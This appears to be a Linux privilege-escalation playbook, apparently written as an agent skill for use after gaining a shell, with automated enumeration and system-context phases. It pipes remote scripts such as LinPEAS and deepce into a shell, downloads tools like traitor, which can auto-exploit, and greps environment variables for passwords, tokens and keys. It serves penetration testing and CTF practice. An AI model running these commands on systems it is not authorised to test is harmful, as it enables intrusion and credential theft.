privesc-linux

Linux Privilege Escalation

When to Activate

• Gained initial shell on Linux target, need root
• Post-exploitation privilege escalation
• Container escape scenarios
• CTF challenges requiring privesc

Phase 0 — Automated Enumeration (Run First)

# LinPEAS — broadest coverage, colored output
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas.out

# Traitor — finds and tries to auto-exploit common paths
curl -L https://github.com/liamg/traitor/releases/latest/download/traitor-amd64 -o /tmp/traitor && chmod +x /tmp/traitor
/tmp/traitor -p                   # print only — don't exploit yet

# Linux Exploit Suggester 2 — kernel CVE mapping
curl -L https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl | perl

# pspy — watch process execution without root (catch cron scripts, SUID calls)
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000             # processes + filesystem events, 1-second interval

# deepce — container-specific escape detection
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Phase 1 — System Context

# Identity and groups
id && whoami
groups
cat /proc/self/status | grep -i cap    # effective/permitted capabilities of current process
cat /etc/passwd | grep -v 'nologin\|false'  # interactive users
cat /etc/group | grep -v '^[^:]*:[^:]*:0:'  # non-trivial groups

# OS / kernel
uname -a
cat /etc/os-release
cat /proc/version

# Interesting env vars (tokens, creds, paths)
env | grep -iE 'pass|token|key|secret|api|aws|db|mysql|postgres'
echo $PATH | tr ':' '\n'

# Network — services running locally that aren't exposed externally
ss -tulpn
netstat -tulpn 2>/dev/null
cat /etc/hosts

# Mounted filesystems — NFS no_root_squash, FUSE, loop devices
mount | grep -v 'tmpfs\|cgroup\|proc\|sysfs\|devtmpfs'
cat /etc/fstab

# Running processes and their owners
ps auxef          # environment visible
ps aux | grep root